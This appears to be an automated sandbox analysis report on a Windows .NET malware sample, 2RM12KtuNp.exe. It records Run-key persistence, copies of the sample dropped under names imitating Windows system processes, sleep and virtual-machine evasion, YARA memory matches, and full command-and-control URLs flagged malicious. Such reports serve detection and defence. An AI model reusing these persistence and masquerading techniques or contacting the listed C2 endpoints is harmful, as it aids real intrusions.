Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WmiPrvSE	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run smss	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run sppsvc	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fuBYljHeUjtkgvlnN	Jump to behavior

Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Memory allocated: 2250000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Memory allocated: 1A490000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Memory allocated: A50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Memory allocated: 1A9A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Memory allocated: 1280000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Memory allocated: 1AF70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Memory allocated: 2DF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Memory allocated: 1AEA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Memory allocated: DC0000 memory reserve \| memory write watch
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Memory allocated: 1A830000 memory reserve \| memory write watch
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Memory allocated: 1360000 memory reserve \| memory write watch
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Memory allocated: 1AE10000 memory reserve \| memory write watch
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Memory allocated: B90000 memory reserve \| memory write watch
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Memory allocated: 1A7C0000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\sppsvc.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\sppsvc.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 600000
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 599891
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 599780
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 600000
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 599733
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 599609
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\sppsvc.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer

Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Window / User API: threadDelayed 1133	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Window / User API: threadDelayed 1305	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Window / User API: threadDelayed 499	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Window / User API: threadDelayed 352	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Window / User API: threadDelayed 381	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Window / User API: threadDelayed 369	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Window / User API: threadDelayed 367
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Window / User API: threadDelayed 366
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Window / User API: threadDelayed 367
Source: C:\Recovery\sppsvc.exe	Window / User API: threadDelayed 367
Source: C:\Recovery\sppsvc.exe	Window / User API: threadDelayed 363
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Window / User API: threadDelayed 592
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Window / User API: threadDelayed 505
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Window / User API: threadDelayed 556
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Window / User API: threadDelayed 893
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Window / User API: threadDelayed 1328
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Window / User API: threadDelayed 1140
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Window / User API: threadDelayed 1052
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Window / User API: threadDelayed 668
Source: C:\Recovery\sppsvc.exe	Window / User API: threadDelayed 395

Source: C:\Users\user\Desktop\2RM12KtuNp.exe TID: 6044	Thread sleep count: 1133 > 30	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe TID: 6044	Thread sleep count: 1305 > 30	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe TID: 180	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe TID: 6408	Thread sleep count: 499 > 30	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe TID: 6408	Thread sleep count: 176 > 30	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe TID: 360	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe TID: 1292	Thread sleep count: 352 > 30	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe TID: 1292	Thread sleep count: 381 > 30	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe TID: 1476	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe TID: 7192	Thread sleep count: 369 > 30	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe TID: 7192	Thread sleep count: 124 > 30	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe TID: 1272	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe TID: 7240	Thread sleep count: 367 > 30
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe TID: 7176	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 7388	Thread sleep count: 366 > 30
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 7248	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 7376	Thread sleep count: 367 > 30
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 7324	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 7604	Thread sleep count: 592 > 30
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 7576	Thread sleep time: -922337203685477s >= -30000s
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe TID: 7696	Thread sleep count: 505 > 30
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe TID: 7700	Thread sleep count: 556 > 30
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe TID: 7672	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 7988	Thread sleep count: 893 > 30
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 8004	Thread sleep count: 1328 > 30
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 8144	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 8144	Thread sleep time: -600000s >= -30000s
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 8144	Thread sleep time: -599891s >= -30000s
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 8144	Thread sleep time: -599780s >= -30000s
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 8040	Thread sleep time: -30000s >= -30000s
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 7968	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 5248	Thread sleep count: 1140 > 30
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 6480	Thread sleep count: 1052 > 30
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 7616	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 7616	Thread sleep time: -600000s >= -30000s
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 7616	Thread sleep time: -599733s >= -30000s
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 7616	Thread sleep time: -599609s >= -30000s
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 5052	Thread sleep time: -30000s >= -30000s
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 6556	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe TID: 7452	Thread sleep count: 349 > 30
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe TID: 2676	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 3364	Thread sleep count: 668 > 30
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe TID: 7124	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\Desktop\2RM12KtuNp.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Recovery\sppsvc.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Recovery\sppsvc.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Recovery\sppsvc.exe	File Volume queried: C:\ FullSizeInformation

Source: 2RM12KtuNp.exe, 00000000.00000002.2121979590.000000001C13F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: smss.exe, 00000023.00000002.2382917415.000000001CE67000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: w32tm.exe, 00000016.00000002.2150330250.000001FA91847000.00000004.00000020.00020000.00000000.sdmp, smss.exe, 00000023.00000002.2383192595.000000001CE9F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Process token adjusted: Debug
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process token adjusted: Debug
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process token adjusted: Debug
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Queries volume information: C:\Users\user\Desktop\2RM12KtuNp.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Queries volume information: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Queries volume information: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Queries volume information: C:\Recovery\fuBYljHeUjtkgvlnN.exe VolumeInformation	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Queries volume information: C:\Recovery\fuBYljHeUjtkgvlnN.exe VolumeInformation
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Queries volume information: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe VolumeInformation
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Queries volume information: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe VolumeInformation
Source: C:\Recovery\sppsvc.exe	Queries volume information: C:\Recovery\sppsvc.exe VolumeInformation
Source: C:\Recovery\sppsvc.exe	Queries volume information: C:\Recovery\sppsvc.exe VolumeInformation
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Queries volume information: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe VolumeInformation
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Queries volume information: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe VolumeInformation
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Queries volume information: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe VolumeInformation
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Queries volume information: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe VolumeInformation
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Queries volume information: C:\Recovery\fuBYljHeUjtkgvlnN.exe VolumeInformation
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Queries volume information: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe VolumeInformation
Source: C:\Recovery\sppsvc.exe	Queries volume information: C:\Recovery\sppsvc.exe VolumeInformation

Source: Yara match	File source: 00000018.00000002.2198817700.000000000286D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2204937478.0000000002CFD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2107606474.0000000002491000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.2437817737.00000000027C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2193867907.0000000002EA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2107606474.0000000002952000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2204609661.0000000003061000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2372427654.0000000002B01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2172595624.00000000029A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2198817700.0000000002831000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2272871548.0000000002E11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.2522151926.0000000002D01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2204937478.0000000002CC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2172462532.0000000002F71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2172462532.0000000002FAD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.2499185977.0000000002B10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2112936217.000000001249D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2RM12KtuNp.exe PID: 5996, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: WmiPrvSE.exe PID: 6552, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: WmiPrvSE.exe PID: 6976, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fuBYljHeUjtkgvlnN.exe PID: 5808, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fuBYljHeUjtkgvlnN.exe PID: 6688, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sppsvc.exe PID: 7276, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sppsvc.exe PID: 7288, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: WmiPrvSE.exe PID: 7648, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: smss.exe PID: 8172, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fuBYljHeUjtkgvlnN.exe PID: 180, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: smss.exe PID: 360, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sppsvc.exe PID: 1292, type: MEMORYSTR

Name	Malicious	Reputation
http://rustpidc.beget.tech/L1nc0In.php?BUISt3=gMc0F&6MLl4TR7bW=lK7at6jiv9hnPMHdbskIx3H&JkwIAjLj8Zrj5q=Q2STSZi6ZxzzP0N4rChRJJbhM&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&BUISt3=gMc0F&6MLl4TR7bW=lK7at6jiv9hnPMHdbskIx3H&JkwIAjLj8Zrj5q=Q2STSZi6ZxzzP0N4rChRJJbhM	true	unknown
http://rustpidc.beget.tech/L1nc0In.php?N39Ok=XWYIyBbUvr4DFdLfiF&4i2q7jz9vgbe7=vWHj0x15g3ZlPI26sU&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&N39Ok=XWYIyBbUvr4DFdLfiF&4i2q7jz9vgbe7=vWHj0x15g3ZlPI26sU	true	unknown
http://rustpidc.beget.tech/L1nc0In.php?BuNhwMAFa=QXwieGICprMaqtoXap&jd0MRJxHvBVhUH6JQRzFfcK0KC=Ed2ZvUQ1DZLfYr8WAUJ&TtkYFlkTGTABPiso2mjMEP3tEvaY=FKgAKRV3eTJu7uuZJQ&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&BuNhwMAFa=QXwieGICprMaqtoXap&jd0MRJxHvBVhUH6JQRzFfcK0KC=Ed2ZvUQ1DZLfYr8WAUJ&TtkYFlkTGTABPiso2mjMEP3tEvaY=FKgAKRV3eTJu7uuZJQ	true	unknown
http://rustpidc.beget.tech/L1nc0In.php?hL1oib=F7svBDITavvsiMUM48DwwrYA4a2M&CPaHE=J0wQF4pCw3PU7M87pf&GYis1kL6LYgVkdnLVHs71=omGpF&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&hL1oib=F7svBDITavvsiMUM48DwwrYA4a2M&CPaHE=J0wQF4pCw3PU7M87pf&GYis1kL6LYgVkdnLVHs71=omGpF	true	unknown
http://rustpidc.beget.tech/L1nc0In.php?06RoA4NR89d4K3EShtj=aSiNSsqThhMbt535NoXiND&R2rvqZ8E8OS=iXDVRO&tawCKOAIE3WBcX8RVl794idNNaxU=JSFTUT2e0hgqQ3KmN0&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&06RoA4NR89d4K3EShtj=aSiNSsqThhMbt535NoXiND&R2rvqZ8E8OS=iXDVRO&tawCKOAIE3WBcX8RVl794idNNaxU=JSFTUT2e0hgqQ3KmN0	true	unknown
http://rustpidc.beget.tech/L1nc0In.php?pmv=PZopg0ihS&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&pmv=PZopg0ihS	true	unknown

Windows Analysis Report 2RM12KtuNp.exe

Overview

General Information

Detection

Signatures

Classification

Malware Threat Intel Provided by

Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Screenshots

Behavior Graph

Network Map

Contacted Public IPs

Contacted Domains

Contacted URLs

Windows Analysis Report
2RM12KtuNp.exe

Malware Threat Intel
Provided by

ID:	1542666
Product:	CloudBasic
Start time:	05:36:08
Start date:	26.10.2024
Sample:	2RM12KtuNp.exe
Cookbook:	default.jbs
System description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Architecture:	WINDOWS
MD5:	77fffee187fabb45ffc7219d421ea83f
SHA1:	3f21e5a79d674131678ac5de8eaf30bbfcbb177c
SHA256:	272d4708729e16b629b6ec2c3c04317f6579c2c8f24d171be0d9469dbbce4e26
Filetype:	Win32 Executable (generic) Net Framework (10011505/4) 49.79%

Name	Type	MD5	SHA1	SHA256
C:\Program Files\Microsoft Office 15\ClientX64\69ddcba757bf72	ASCII text, with very long lines (490), with no line terminators	6463DBA329B47301B3E44296280EDA8C	FF3F062725197185AEC67F79495F5EE4A7209CC5	36DD8BB0BEBBF2E6E0950A3BEB8C716635D141FF8F36BE922FB75BD4D4E5F4ED
C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows	77FFFEE187FABB45FFC7219D421EA83F	3F21E5A79D674131678AC5DE8EAF30BBFCBB177C	272D4708729E16B629B6EC2C3C04317F6579C2C8F24D171BE0D9469DBBCE4E26
